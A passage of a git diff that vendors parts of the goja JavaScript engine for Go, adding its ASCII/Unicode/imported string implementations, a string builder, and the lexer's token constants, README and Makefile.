String, start int) int { + a, u := devirtualizeString(substr) + if u == nil { + if start > len(s) { + return -1 + } + p := strings.Index(string(s[start:]), string(a)) + if p >= 0 { + return p + start + } + } + return -1 +} + +func (s asciiString) lastIndex(substr String, pos int) int { + a, u := devirtualizeString(substr) + if u == nil { + end := pos + len(a) + var ss string + if end > len(s) { + ss = string(s) + } else { + ss = string(s[:end]) + } + return strings.LastIndex(ss, string(a)) + } + return -1 +} + +func (s asciiString) toLower() String { + return asciiString(strings.ToLower(string(s))) +} + +func (s asciiString) toUpper() String { + return asciiString(strings.ToUpper(string(s))) +} + +func (s asciiString) toTrimmedUTF8() string { + return strings.TrimSpace(string(s)) +} + +func (s asciiString) string() unistring.String { + return unistring.String(s) +} + +func (s asciiString) Export() interface{} { + return string(s) +} + +func (s asciiString) ExportType() reflect.Type { + return reflectTypeString +} diff --git a/backend/vendor/github.com/dop251/goja/string_imported.go b/backend/vendor/github.com/dop251/goja/string_imported.go new file mode 100644 index 0000000..1c6cae8 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/string_imported.go @@ -0,0 +1,307 @@ +package goja + +import ( + "hash/maphash" + "io" + "math" + "reflect" + "strings" + "unicode/utf16" + "unicode/utf8" + + "github.com/dop251/goja/parser" + "github.com/dop251/goja/unistring" + + "golang.org/x/text/cases" + "golang.org/x/text/language" +) + +// Represents a string imported from Go. The idea is to delay the scanning for unicode characters and converting +// to unicodeString until necessary. This way strings that are merely passed through never get scanned which +// saves CPU and memory. +// Currently, importedString is created in 2 cases: Runtime.ToValue() for strings longer than 16 bytes and as a result +// of JSON.stringify() if it may contain unicode characters. More cases could be added in the future. +type importedString struct { + s string + u unicodeString + + scanned bool +} + +func (i *importedString) scan() { + i.u = unistring.Scan(i.s) + i.scanned = true +} + +func (i *importedString) ensureScanned() { + if !i.scanned { + i.scan() + } +} + +func (i *importedString) ToInteger() int64 { + i.ensureScanned() + if i.u != nil { + return 0 + } + return asciiString(i.s).ToInteger() +} + +func (i *importedString) toString() String { + return i +} + +func (i *importedString) string() unistring.String { + i.ensureScanned() + if i.u != nil { + return unistring.FromUtf16(i.u) + } + return unistring.String(i.s) +} + +func (i *importedString) ToString() Value { + return i +} + +func (i *importedString) String() string { + return i.s +} + +func (i *importedString) ToFloat() float64 { + i.ensureScanned() + if i.u != nil { + return math.NaN() + } + return asciiString(i.s).ToFloat() +} + +func (i *importedString) ToNumber() Value { + i.ensureScanned() + if i.u != nil { + return i.u.ToNumber() + } + return asciiString(i.s).ToNumber() +} + +func (i *importedString) ToBoolean() bool { + return len(i.s) != 0 +} + +func (i *importedString) ToObject(r *Runtime) *Object { + return r._newString(i, r.getStringPrototype()) +} + +func (i *importedString) SameAs(other Value) bool { + return i.StrictEquals(other) +} + +func (i *importedString) Equals(other Value) bool { + if i.StrictEquals(other) { + return true + } + i.ensureScanned() + if i.u != nil { + return i.u.Equals(other) + } + return asciiString(i.s).Equals(other) +} + +func (i *importedString) StrictEquals(other Value) bool { + switch otherStr := other.(type) { + case asciiString: + if i.u != nil { + return false + } + return i.s == string(otherStr) + case unicodeString: + i.ensureScanned() + if i.u != nil && i.u.equals(otherStr) { + return true + } + case *importedString: + return i.s == otherStr.s + } + return false +} + +func (i *importedString) Export() interface{} { + return i.s +} + +func (i *importedString) ExportType() reflect.Type { + return reflectTypeString +} + +func (i *importedString) baseObject(r *Runtime) *Object { + i.ensureScanned() + if i.u != nil { + return i.u.baseObject(r) + } + return asciiString(i.s).baseObject(r) +} + +func (i *importedString) hash(hasher *maphash.Hash) uint64 { + i.ensureScanned() + if i.u != nil { + return i.u.hash(hasher) + } + return asciiString(i.s).hash(hasher) +} + +func (i *importedString) CharAt(idx int) uint16 { + i.ensureScanned() + if i.u != nil { + return i.u.CharAt(idx) + } + return asciiString(i.s).CharAt(idx) +} + +func (i *importedString) Length() int { + i.ensureScanned() + if i.u != nil { + return i.u.Length() + } + return asciiString(i.s).Length() +} + +func (i *importedString) Concat(v String) String { + if !i.scanned { + if v, ok := v.(*importedString); ok { + if !v.scanned { + return &importedString{s: i.s + v.s} + } + } + i.ensureScanned() + } + if i.u != nil { + return i.u.Concat(v) + } + return asciiString(i.s).Concat(v) +} + +func (i *importedString) Substring(start, end int) String { + i.ensureScanned() + if i.u != nil { + return i.u.Substring(start, end) + } + return asciiString(i.s).Substring(start, end) +} + +func (i *importedString) CompareTo(v String) int { + return strings.Compare(i.s, v.String()) +} + +func (i *importedString) Reader() io.RuneReader { + if i.scanned { + if i.u != nil { + return i.u.Reader() + } + return asciiString(i.s).Reader() + } + return strings.NewReader(i.s) +} + +type stringUtf16Reader struct { + s string + pos int + second uint16 +} + +func (s *stringUtf16Reader) readChar() (c uint16, err error) { + if s.second != 0 { + c, s.second = s.second, 0 + return + } + if s.pos < len(s.s) { + r1, size1 := utf8.DecodeRuneInString(s.s[s.pos:]) + s.pos += size1 + if r1 <= 0xFFFF { + c = uint16(r1) + } else { + first, second := utf16.EncodeRune(r1) + c, s.second = uint16(first), uint16(second) + } + } else { + err = io.EOF + } + return +} + +func (s *stringUtf16Reader) ReadRune() (r rune, size int, err error) { + c, err := s.readChar() + if err != nil { + return + } + r = rune(c) + size = 1 + return +} + +func (i *importedString) utf16Reader() utf16Reader { + if i.scanned { + if i.u != nil { + return i.u.utf16Reader() + } + return asciiString(i.s).utf16Reader() + } + return &stringUtf16Reader{ + s: i.s, + } +} + +func (i *importedString) utf16RuneReader() io.RuneReader { + if i.scanned { + if i.u != nil { + return i.u.utf16RuneReader() + } + return asciiString(i.s).utf16RuneReader() + } + return &stringUtf16Reader{ + s: i.s, + } +} + +func (i *importedString) utf16Runes() []rune { + i.ensureScanned() + if i.u != nil { + return i.u.utf16Runes() + } + return asciiString(i.s).utf16Runes() +} + +func (i *importedString) index(v String, start int) int { + i.ensureScanned() + if i.u != nil { + return i.u.index(v, start) + } + return asciiString(i.s).index(v, start) +} + +func (i *importedString) lastIndex(v String, pos int) int { + i.ensureScanned() + if i.u != nil { + return i.u.lastIndex(v, pos) + } + return asciiString(i.s).lastIndex(v, pos) +} + +func (i *importedString) toLower() String { + i.ensureScanned() + if i.u != nil { + return toLower(i.s) + } + return asciiString(i.s).toLower() +} + +func (i *importedString) toUpper() String { + i.ensureScanned() + if i.u != nil { + caser := cases.Upper(language.Und) + return newStringValue(caser.String(i.s)) + } + return asciiString(i.s).toUpper() +} + +func (i *importedString) toTrimmedUTF8() string { + return strings.Trim(i.s, parser.WhitespaceChars) +} diff --git a/backend/vendor/github.com/dop251/goja/string_unicode.go b/backend/vendor/github.com/dop251/goja/string_unicode.go new file mode 100644 index 0000000..1da06c7 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/string_unicode.go @@ -0,0 +1,615 @@ +package goja + +import ( + "errors" + "hash/maphash" + "io" + "math" + "reflect" + "strings" + "unicode/utf16" + "unicode/utf8" + + "github.com/dop251/goja/parser" + "github.com/dop251/goja/unistring" + "golang.org/x/text/cases" + "golang.org/x/text/language" +) + +type unicodeString []uint16 + +type unicodeRuneReader struct { + s unicodeString + pos int +} + +type utf16RuneReader struct { + s unicodeString + pos int +} + +// passes through invalid surrogate pairs +type lenientUtf16Decoder struct { + utf16Reader utf16Reader + prev uint16 + prevSet bool +} + +// StringBuilder serves similar purpose to strings.Builder, except it works with ECMAScript String. +// Use it to efficiently build 'native' ECMAScript values that either contain invalid UTF-16 surrogate pairs +// (and therefore cannot be represented as UTF-8) or never expected to be exported to Go. See also +// StringFromUTF16. +type StringBuilder struct { + asciiBuilder strings.Builder + unicodeBuilder unicodeStringBuilder +} + +type unicodeStringBuilder struct { + buf []uint16 + unicode bool +} + +var ( + InvalidRuneError = errors.New("invalid rune") +) + +func (rr *utf16RuneReader) readChar() (c uint16, err error) { + if rr.pos < len(rr.s) { + c = rr.s[rr.pos] + rr.pos++ + return + } + err = io.EOF + return +} + +func (rr *utf16RuneReader) ReadRune() (r rune, size int, err error) { + if rr.pos < len(rr.s) { + r = rune(rr.s[rr.pos]) + rr.pos++ + size = 1 + return + } + err = io.EOF + return +} + +func (rr *lenientUtf16Decoder) ReadRune() (r rune, size int, err error) { + var c uint16 + if rr.prevSet { + c = rr.prev + rr.prevSet = false + } else { + c, err = rr.utf16Reader.readChar() + if err != nil { + return + } + } + size = 1 + if isUTF16FirstSurrogate(c) { + second, err1 := rr.utf16Reader.readChar() + if err1 != nil { + if err1 != io.EOF { + err = err1 + } else { + r = rune(c) + } + return + } + if isUTF16SecondSurrogate(second) { + r = utf16.DecodeRune(rune(c), rune(second)) + size++ + return + } else { + rr.prev = second + rr.prevSet = true + } + } + r = rune(c) + return +} + +func (rr *unicodeRuneReader) ReadRune() (r rune, size int, err error) { + if rr.pos < len(rr.s) { + c := rr.s[rr.pos] + size++ + rr.pos++ + if isUTF16FirstSurrogate(c) { + if rr.pos < len(rr.s) { + second := rr.s[rr.pos] + if isUTF16SecondSurrogate(second) { + r = utf16.DecodeRune(rune(c), rune(second)) + size++ + rr.pos++ + return + } + } + err = InvalidRuneError + } else if isUTF16SecondSurrogate(c) { + err = InvalidRuneError + } + r = rune(c) + } else { + err = io.EOF + } + return +} + +func (b *unicodeStringBuilder) Grow(n int) { + if len(b.buf) == 0 { + n++ + } + if cap(b.buf)-len(b.buf) < n { + buf := make([]uint16, len(b.buf), 2*cap(b.buf)+n) + copy(buf, b.buf) + b.buf = buf + } + if len(b.buf) == 0 { + b.buf = append(b.buf, unistring.BOM) + } +} + +// assumes already started +func (b *unicodeStringBuilder) writeString(s String) { + a, u := devirtualizeString(s) + if u != nil { + b.buf = append(b.buf, u[1:]...) + b.unicode = true + } else { + for i := 0; i < len(a); i++ { + b.buf = append(b.buf, uint16(a[i])) + } + } +} + +func (b *unicodeStringBuilder) String() String { + if b.unicode { + return unicodeString(b.buf) + } + if len(b.buf) < 2 { + return stringEmpty + } + buf := make([]byte, 0, len(b.buf)-1) + for _, c := range b.buf[1:] { + buf = append(buf, byte(c)) + } + return asciiString(buf) +} + +func (b *unicodeStringBuilder) WriteRune(r rune) { + b.Grow(2) + b.writeRuneFast(r) +} + +// assumes already started +func (b *unicodeStringBuilder) writeRuneFast(r rune) { + if r <= 0xFFFF { + b.buf = append(b.buf, uint16(r)) + if !b.unicode && r >= utf8.RuneSelf { + b.unicode = true + } + } else { + first, second := utf16.EncodeRune(r) + b.buf = append(b.buf, uint16(first), uint16(second)) + b.unicode = true + } +} + +func (b *unicodeStringBuilder) writeASCIIString(bytes string) { + for _, c := range bytes { + b.buf = append(b.buf, uint16(c)) + } +} + +func (b *unicodeStringBuilder) writeUnicodeString(str unicodeString) { + b.buf = append(b.buf, str[1:]...) + b.unicode = true +} + +func (b *StringBuilder) ascii() bool { + return len(b.unicodeBuilder.buf) == 0 +} + +func (b *StringBuilder) WriteString(s String) { + a, u := devirtualizeString(s) + if u != nil { + b.switchToUnicode(u.Length()) + b.unicodeBuilder.writeUnicodeString(u) + } else { + if b.ascii() { + b.asciiBuilder.WriteString(string(a)) + } else { + b.unicodeBuilder.writeASCIIString(string(a)) + } + } +} + +func (b *StringBuilder) WriteUTF8String(s string) { + firstUnicodeIdx := 0 + if b.ascii() { + for i := 0; i < len(s); i++ { + if s[i] >= utf8.RuneSelf { + b.switchToUnicode(len(s)) + b.unicodeBuilder.writeASCIIString(s[:i]) + firstUnicodeIdx = i + goto unicode + } + } + b.asciiBuilder.WriteString(s) + return + } +unicode: + for _, r := range s[firstUnicodeIdx:] { + b.unicodeBuilder.writeRuneFast(r) + } +} + +func (b *StringBuilder) writeASCII(s string) { + if b.ascii() { + b.asciiBuilder.WriteString(s) + } else { + b.unicodeBuilder.writeASCIIString(s) + } +} + +func (b *StringBuilder) WriteRune(r rune) { + if r < utf8.RuneSelf { + if b.ascii() { + b.asciiBuilder.WriteByte(byte(r)) + } else { + b.unicodeBuilder.writeRuneFast(r) + } + } else { + var extraLen int + if r <= 0xFFFF { + extraLen = 1 + } else { + extraLen = 2 + } + b.switchToUnicode(extraLen) + b.unicodeBuilder.writeRuneFast(r) + } +} + +func (b *StringBuilder) String() String { + if b.ascii() { + return asciiString(b.asciiBuilder.String()) + } + return b.unicodeBuilder.String() +} + +func (b *StringBuilder) Grow(n int) { + if b.ascii() { + b.asciiBuilder.Grow(n) + } else { + b.unicodeBuilder.Grow(n) + } +} + +// LikelyUnicode hints to the builder that the resulting string is likely to contain Unicode (non-ASCII) characters. +// The argument is an extra capacity (in characters) to reserve on top of the current length (it's like calling +// Grow() afterwards). +// This method may be called at any point (not just when the buffer is empty), although for efficiency it should +// be called as early as possible. +func (b *StringBuilder) LikelyUnicode(extraLen int) { + b.switchToUnicode(extraLen) +} + +func (b *StringBuilder) switchToUnicode(extraLen int) { + if b.ascii() { + c := b.asciiBuilder.Cap() + newCap := b.asciiBuilder.Len() + extraLen + if newCap < c { + newCap = c + } + b.unicodeBuilder.Grow(newCap) + b.unicodeBuilder.writeASCIIString(b.asciiBuilder.String()) + b.asciiBuilder.Reset() + } +} + +func (b *StringBuilder) WriteSubstring(source String, start int, end int) { + a, us := devirtualizeString(source) + if us == nil { + if b.ascii() { + b.asciiBuilder.WriteString(string(a[start:end])) + } else { + b.unicodeBuilder.writeASCIIString(string(a[start:end])) + } + return + } + if b.ascii() { + uc := false + for i := start; i < end; i++ { + if us.CharAt(i) >= utf8.RuneSelf { + uc = true + break + } + } + if uc { + b.switchToUnicode(end - start + 1) + } else { + b.asciiBuilder.Grow(end - start + 1) + for i := start; i < end; i++ { + b.asciiBuilder.WriteByte(byte(us.CharAt(i))) + } + return + } + } + b.unicodeBuilder.buf = append(b.unicodeBuilder.buf, us[start+1:end+1]...) + b.unicodeBuilder.unicode = true +} + +func (s unicodeString) Reader() io.RuneReader { + return &unicodeRuneReader{ + s: s[1:], + } +} + +func (s unicodeString) utf16Reader() utf16Reader { + return &utf16RuneReader{ + s: s[1:], + } +} + +func (s unicodeString) utf16RuneReader() io.RuneReader { + return &utf16RuneReader{ + s: s[1:], + } +} + +func (s unicodeString) utf16Runes() []rune { + runes := make([]rune, len(s)-1) + for i, ch := range s[1:] { + runes[i] = rune(ch) + } + return runes +} + +func (s unicodeString) ToInteger() int64 { + return 0 +} + +func (s unicodeString) toString() String { + return s +} + +func (s unicodeString) ToString() Value { + return s +} + +func (s unicodeString) ToFloat() float64 { + return math.NaN() +} + +func (s unicodeString) ToBoolean() bool { + return len(s) > 0 +} + +func (s unicodeString) toTrimmedUTF8() string { + if len(s) == 0 { + return "" + } + return strings.Trim(s.String(), parser.WhitespaceChars) +} + +func (s unicodeString) ToNumber() Value { + return asciiString(s.toTrimmedUTF8()).ToNumber() +} + +func (s unicodeString) ToObject(r *Runtime) *Object { + return r._newString(s, r.getStringPrototype()) +} + +func (s unicodeString) equals(other unicodeString) bool { + if len(s) != len(other) { + return false + } + for i, r := range s { + if r != other[i] { + return false + } + } + return true +} + +func (s unicodeString) SameAs(other Value) bool { + return s.StrictEquals(other) +} + +func (s unicodeString) Equals(other Value) bool { + if s.StrictEquals(other) { + return true + } + + if o, ok := other.(*Object); ok { + return s.Equals(o.toPrimitive()) + } + return false +} + +func (s unicodeString) StrictEquals(other Value) bool { + if otherStr, ok := other.(unicodeString); ok { + return s.equals(otherStr) + } + if otherStr, ok := other.(*importedString); ok { + otherStr.ensureScanned() + if otherStr.u != nil { + return s.equals(otherStr.u) + } + } + + return false +} + +func (s unicodeString) baseObject(r *Runtime) *Object { + ss := r.getStringSingleton() + ss.value = s + ss.setLength() + return ss.val +} + +func (s unicodeString) CharAt(idx int) uint16 { + return s[idx+1] +} + +func (s unicodeString) Length() int { + return len(s) - 1 +} + +func (s unicodeString) Concat(other String) String { + a, u := devirtualizeString(other) + if u != nil { + b := make(unicodeString, len(s)+len(u)-1) + copy(b, s) + copy(b[len(s):], u[1:]) + return b + } + b := make([]uint16, len(s)+len(a)) + copy(b, s) + b1 := b[len(s):] + for i := 0; i < len(a); i++ { + b1[i] = uint16(a[i]) + } + return unicodeString(b) +} + +func (s unicodeString) Substring(start, end int) String { + ss := s[start+1 : end+1] + for _, c := range ss { + if c >= utf8.RuneSelf { + b := make(unicodeString, end-start+1) + b[0] = unistring.BOM + copy(b[1:], ss) + return b + } + } + as := make([]byte, end-start) + for i, c := range ss { + as[i] = byte(c) + } + return asciiString(as) +} + +func (s unicodeString) String() string { + return string(utf16.Decode(s[1:])) +} + +func (s unicodeString) CompareTo(other String) int { + // TODO handle invalid UTF-16 + return strings.Compare(s.String(), other.String()) +} + +func (s unicodeString) index(substr String, start int) int { + var ss []uint16 + a, u := devirtualizeString(substr) + if u != nil { + ss = u[1:] + } else { + ss = make([]uint16, len(a)) + for i := 0; i < len(a); i++ { + ss[i] = uint16(a[i]) + } + } + s1 := s[1:] + // TODO: optimise + end := len(s1) - len(ss) + for start <= end { + for i := 0; i < len(ss); i++ { + if s1[start+i] != ss[i] { + goto nomatch + } + } + + return start + nomatch: + start++ + } + return -1 +} + +func (s unicodeString) lastIndex(substr String, start int) int { + var ss []uint16 + a, u := devirtualizeString(substr) + if u != nil { + ss = u[1:] + } else { + ss = make([]uint16, len(a)) + for i := 0; i < len(a); i++ { + ss[i] = uint16(a[i]) + } + } + + s1 := s[1:] + if maxStart := len(s1) - len(ss); start > maxStart { + start = maxStart + } + // TODO: optimise + for start >= 0 { + for i := 0; i < len(ss); i++ { + if s1[start+i] != ss[i] { + goto nomatch + } + } + + return start + nomatch: + start-- + } + return -1 +} + +func unicodeStringFromRunes(r []rune) unicodeString { + return unistring.NewFromRunes(r).AsUtf16() +} + +func toLower(s string) String { + caser := cases.Lower(language.Und) + r := []rune(caser.String(s)) + // Workaround + ascii := true + for i := 0; i < len(r)-1; i++ { + if (i == 0 || r[i-1] != 0x3b1) && r[i] == 0x345 && r[i+1] == 0x3c2 { + i++ + r[i] = 0x3c3 + } + if r[i] >= utf8.RuneSelf { + ascii = false + } + } + if ascii { + ascii = r[len(r)-1] < utf8.RuneSelf + } + if ascii { + return asciiString(r) + } + return unicodeStringFromRunes(r) +} + +func (s unicodeString) toLower() String { + return toLower(s.String()) +} + +func (s unicodeString) toUpper() String { + caser := cases.Upper(language.Und) + return newStringValue(caser.String(s.String())) +} + +func (s unicodeString) Export() interface{} { + return s.String() +} + +func (s unicodeString) ExportType() reflect.Type { + return reflectTypeString +} + +func (s unicodeString) hash(hash *maphash.Hash) uint64 { + _, _ = hash.WriteString(string(unistring.FromUtf16(s))) + h := hash.Sum64() + hash.Reset() + return h +} + +func (s unicodeString) string() unistring.String { + return unistring.FromUtf16(s) +} diff --git a/backend/vendor/github.com/dop251/goja/token/Makefile b/backend/vendor/github.com/dop251/goja/token/Makefile new file mode 100644 index 0000000..1e85c73 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/token/Makefile @@ -0,0 +1,2 @@ +token_const.go: tokenfmt + ./$^ | gofmt > $@ diff --git a/backend/vendor/github.com/dop251/goja/token/README.markdown b/backend/vendor/github.com/dop251/goja/token/README.markdown new file mode 100644 index 0000000..66dd2ab --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/token/README.markdown @@ -0,0 +1,171 @@ +# token +-- + import "github.com/dop251/goja/token" + +Package token defines constants representing the lexical tokens of JavaScript +(ECMA5). + +## Usage + +```go +const ( + ILLEGAL + EOF + COMMENT + KEYWORD + + STRING + BOOLEAN + NULL + NUMBER + IDENTIFIER + + PLUS // + + MINUS // - + MULTIPLY // * + SLASH // / + REMAINDER // % + + AND // & + OR // | + EXCLUSIVE_OR // ^ + SHIFT_LEFT // << + SHIFT_RIGHT // >> + UNSIGNED_SHIFT_RIGHT // >>> + AND_NOT // &^ + + ADD_ASSIGN // += + SUBTRACT_ASSIGN // -= + MULTIPLY_ASSIGN // *= + QUOTIENT_ASSIGN // /= + REMAINDER_ASSIGN // %= + + AND_ASSIGN // &= + OR_ASSIGN // |= + EXCLUSIVE_OR_ASSIGN // ^= + SHIFT_LEFT_ASSIGN // <<= + SHIFT_RIGHT_ASSIGN // >>= + UNSIGNED_SHIFT_RIGHT_ASSIGN // >>>= + AND_NOT_ASSIGN // &^= + + LOGICAL_AND // && + LOGICAL_OR // || + INCREMENT // ++ + DECREMENT // -- + + EQUAL // == + STRICT_EQUAL // === + LESS // < + GREATER // > + ASSIGN // = + NOT // ! + + BITWISE_NOT // ~ + + NOT_EQUAL // != + STRICT_NOT_EQUAL // !== + LESS_OR_EQUAL // <= + GREATER_OR_EQUAL // >= + + LEFT_PARENTHESIS // ( + LEFT_BRACKET // [ + LEFT_BRACE // { + COMMA // , + PERIOD // . + + RIGHT_PARENTHESIS // ) + RIGHT_BRACKET // ] + RIGHT_BRACE // } + SEMICOLON // ; + COLON // : + QUESTION_MARK // ? + + IF + IN + DO + + VAR + FOR + NEW + TRY + + THIS + ELSE + CASE + VOID + WITH + + WHILE + BREAK + CATCH + THROW + + RETURN + TYPEOF + DELETE + SWITCH + + DEFAULT + FINALLY + + FUNCTION + CONTINUE + DEBUGGER + + INSTANCEOF +) +``` + +#### type Token + +```go +type Token int +``` + +Token is the set of lexical tokens in JavaScript (ECMA5). + +#### func IsKeyword + +```go +func IsKeyword(literal string) (Token, bool) +``` +IsKeyword returns the keyword token if literal is a keyword, a KEYWORD token if +the literal is a future keyword (const, let, class, super, ...), or 0 if the +literal is not a keyword. + +If the literal is a keyword, IsKeyword returns a second value indicating if the +literal is considered a future keyword in strict-mode only. + +7.6.1.2 Future Reserved Words: + + const + class + enum + export + extends + import + super + +7.6.1.2 Future Reserved Words (strict): + + implements + interface + let + package + private + protected + public + static + +#### func (Token) String + +```go +func (tkn Token) String() string +``` +String returns the string corresponding to the token. For operators, delimiters, +and keywords the string is the actual token string (e.g., for the token PLUS, +the String() is "+"). For all other tokens the string corresponds to the token +name (e.g. for the token IDENTIFIER, the string is "IDENTIFIER"). + +-- +**godocdown** http://github.com/robertkrimen/godocdown diff --git a/backend/vendor/github.com/dop251/goja/token/token.go b/backend/vendor/github.com/dop251/goja/token/token.go new file mode 100644 index 0000000..8527137 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/token/token.go @@ -0,0 +1,122 @@ +// Package token defines constants representing the lexical tokens of JavaScript (ECMA5). +package token + +import ( + "strconv" +) + +// Token is the set of lexical tokens in JavaScript (ECMA5). +type Token int + +// String returns the string corresponding to the token. +// For operators, delimiters, and keywords the string is the actual +// token string (e.g., for the token PLUS, the String() is +// "+"). For all other tokens the string corresponds to the token +// name (e.g. for the token IDENTIFIER, the string is "IDENTIFIER"). +func (tkn Token) String() string { + if tkn == 0 { + return "UNKNOWN" + } + if tkn < Token(len(token2string)) { + return token2string[tkn] + } + return "token(" + strconv.Itoa(int(tkn)) + ")" +} + +//lint:ignore U1000 This is not used for anything +func (tkn Token) precedence(in bool) int { + + switch tkn { + case LOGICAL_OR: + return 1 + + case LOGICAL_AND: + return 2 + + case OR, OR_ASSIGN: + return 3 + + case EXCLUSIVE_OR: + return 4 + + case AND, AND_ASSIGN: + return 5 + + case EQUAL, + NOT_EQUAL, + STRICT_EQUAL, + STRICT_NOT_EQUAL: + return 6 + + case LESS, GREATER, LESS_OR_EQUAL, GREATER_OR_EQUAL, INSTANCEOF: + return 7 + + case IN: + if in { + return 7 + } + return 0 + + case SHIFT_LEFT, SHIFT_RIGHT, UNSIGNED_SHIFT_RIGHT: + fallthrough + case SHIFT_LEFT_ASSIGN, SHIFT_RIGHT_ASSIGN, UNSIGNED_SHIFT_RIGHT_ASSIGN: + return 8 + + case PLUS, MINUS, ADD_ASSIGN, SUBTRACT_ASSIGN: + return 9 + + case MULTIPLY, SLASH, REMAINDER, MULTIPLY_ASSIGN, QUOTIENT_ASSIGN, REMAINDER_ASSIGN: + return 11 + } + return 0 +} + +type _keyword struct { + token Token + futureKeyword bool + strict bool +} + +// IsKeyword returns the keyword token if literal is a keyword, a KEYWORD token +// if the literal is a future keyword (const, let, class, super, ...), or 0 if the literal is not a keyword. +// +// If the literal is a keyword, IsKeyword returns a second value indicating if the literal +// is considered a future keyword in strict-mode only. +// +// 7.6.1.2 Future Reserved Words: +// +// const +// class +// enum +// export +// extends +// import +// super +// +// 7.6.1.2 Future Reserved Words (strict): +// +// implements +// interface +// let +// package +// private +// protected +// public +// static +func IsKeyword(literal string) (Token, bool) { + if keyword, exists := keywordTable[literal]; exists { + if keyword.futureKeyword { + return KEYWORD, keyword.strict + } + return keyword.token, false + } + return 0, false +} + +func IsId(tkn Token) bool { + return tkn >= IDENTIFIER +} + +func IsUnreservedWord(tkn Token) bool { + return tkn > ESCAPED_RESERVED_WORD +} diff --git a/backend/vendor/github.com/dop251/goja/token/token_const.go b/backend/vendor/github.com/dop251/goja/token/token_const.go new file mode 100644 index 0000000..51d58bb --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/token/token_const.go @@ -0,0 +1,407 @@ +package token + +const ( + _ Token = iota + + ILLEGAL + EOF + COMMENT + + STRING + NUMBER + + PLUS // + + MINUS // - + MULTIPLY // * + EXPONENT // ** + SLASH // / + REMAINDER // % + + AND // & + OR // | + EXCLUSIVE_OR // ^ + SHIFT_LEFT // << + SHIFT_RIGHT // >> + UNSIGNED_SHIFT_RIGHT // >>> + + ADD_ASSIGN // += + SUBTRACT_ASSIGN // -= + MULTIPLY_ASSIGN // *= + EXPONENT_ASSIGN // **= + QUOTIENT_ASSIGN // /= + REMAINDER_ASSIGN // %= + + AND_ASSIGN // &= + OR_ASSIGN // |= + EXCLUSIVE_OR_ASSIGN // ^= + SHIFT_LEFT_ASSIGN // <<= + SHIFT_RIGHT_ASSIGN // >>= + UNSIGNED_SHIFT_RIGHT_ASSIGN // >>>= + + LOGICAL_AND // && + LOGICAL_OR // || + COALESCE // ?? + INCREMENT // ++ + DECREMENT // -- + + LOGICAL_AND_ASSIGN // &&= + LOGICAL_OR_ASSIGN // ||= + COALESCE_ASSIGN // ??= + + EQUAL // == + STRICT_EQUAL // === + LESS // < + GREATER // > + ASSIGN // = + NOT // ! + + BITWISE_NOT // ~ + + NOT_EQUAL // != + STRICT_NOT_EQUAL // !== + LESS_OR_EQUAL // <= + GREATER_OR_EQUAL // >= + + LEFT_PARENTHESIS // ( + LEFT_BRACKET // [ + LEFT_BRACE // { + COMMA // , + PERIOD // . + + RIGHT_PARENTHESIS // ) + RIGHT_BRACKET // ] + RIGHT_BRACE // } + SEMICOLON // ; + COLON // : + QUESTION_MARK // ? + QUESTION_DOT // ?. + ARROW // => + ELLIPSIS // ... + BACKTICK // ` + + PRIVATE_IDENTIFIER + + // tokens below (and only them) are syntactically valid identifiers + + IDENTIFIER + KEYWORD + BOOLEAN + NULL + + IF + IN + OF + DO + + VAR + FOR + NEW + TRY + + THIS + ELSE + CASE + VOID + WITH + + CONST + WHILE + BREAK + CATCH + THROW + CLASS + SUPER + + RETURN + TYPEOF + DELETE + SWITCH + + DEFAULT + FINALLY + EXTENDS + + FUNCTION + CONTINUE + DEBUGGER + + INSTANCEOF + + ESCAPED_RESERVED_WORD + // Non-reserved keywords below + + LET + STATIC + ASYNC + AWAIT + YIELD +) + +var token2string = [...]string{ + ILLEGAL: "ILLEGAL", + EOF: "EOF", + COMMENT: "COMMENT", + KEYWORD: "KEYWORD", + STRING: "STRING", + BOOLEAN: "BOOLEAN", + NULL: "NULL", + NUMBER: "NUMBER", + IDENTIFIER: "IDENTIFIER", + PRIVATE_IDENTIFIER: "PRIVATE_IDENTIFIER", + PLUS: "+", + MINUS: "-", + EXPONENT: "**", + MULTIPLY: "*", + SLASH: "/", + REMAINDER: "%", + AND: "&", + OR: "|", + EXCLUSIVE_OR: "^", + SHIFT_LEFT: "<<", + SHIFT_RIGHT: ">>", + UNSIGNED_SHIFT_RIGHT: ">>>", + ADD_ASSIGN: "+=", + SUBTRACT_ASSIGN: "-=", + MULTIPLY_ASSIGN: "*=", + EXPONENT_ASSIGN: "**=", + QUOTIENT_ASSIGN: "/=", + REMAINDER_ASSIGN: "%=", + AND_ASSIGN: "&=", + OR_ASSIGN: "|=", + EXCLUSIVE_OR_ASSIGN: "^=", + SHIFT_LEFT_ASSIGN: "<<=", + SHIFT_RIGHT_ASSIGN: ">>=", + UNSIGNED_SHIFT_RIGHT_ASSIGN: ">>>=", + LOGICAL_AND: "&&", + LOGICAL_OR: "||", + COALESCE: "??", + INCREMENT: "++", + DECREMENT: "--", + LOGICAL_AND_ASSIGN: "&&=", + LOGICAL_OR_ASSIGN: "||=", + COALESCE_ASSIGN: "??=", + EQUAL: "==", + STRICT_EQUAL: "===", + LESS: "<", + GREATER: ">", + ASSIGN: "=", + NOT: "!", + BITWISE_NOT: "~", + NOT_EQUAL: "!=", + STRICT_NOT_EQUAL: "!==", + LESS_OR_EQUAL: "<=", + GREATER_OR_EQUAL: ">=", + LEFT_PARENTHESIS: "(", + LEFT_BRACKET: "[", + LEFT_BRACE: "{", + COMMA: ",", + PERIOD: ".", + RIGHT_PARENTHESIS: ")", + RIGHT_BRACKET: "]", + RIGHT_BRACE: "}", + SEMICOLON: ";", + COLON: ":", + QUESTION_MARK: "?", + QUESTION_DOT: "?.", + ARROW: "=>", + ELLIPSIS: "...", + BACKTICK: "`", + IF: "if", + IN: "in", + OF: "of", + DO: "do", + VAR: "var", + LET: "let", + FOR: "for", + NEW: "new", + TRY: "try", + THIS: "this", + ELSE: "else", + CASE: "case", + VOID: "void", + WITH: "with", + ASYNC: "async", + AWAIT: "await", + YIELD: "yield", + CONST: "const", + WHILE: "while", + BREAK: "break", + CATCH: "catch", + THROW: "throw", + CLASS: "class", + SUPER: "super", + RETURN: "return", + TYPEOF: "typeof", + DELETE: "delete", + SWITCH: "switch", + STATIC: "static", + DEFAULT: "default", + FINALLY: "finally", + EXTENDS: "extends", + FUNCTION: "function", + 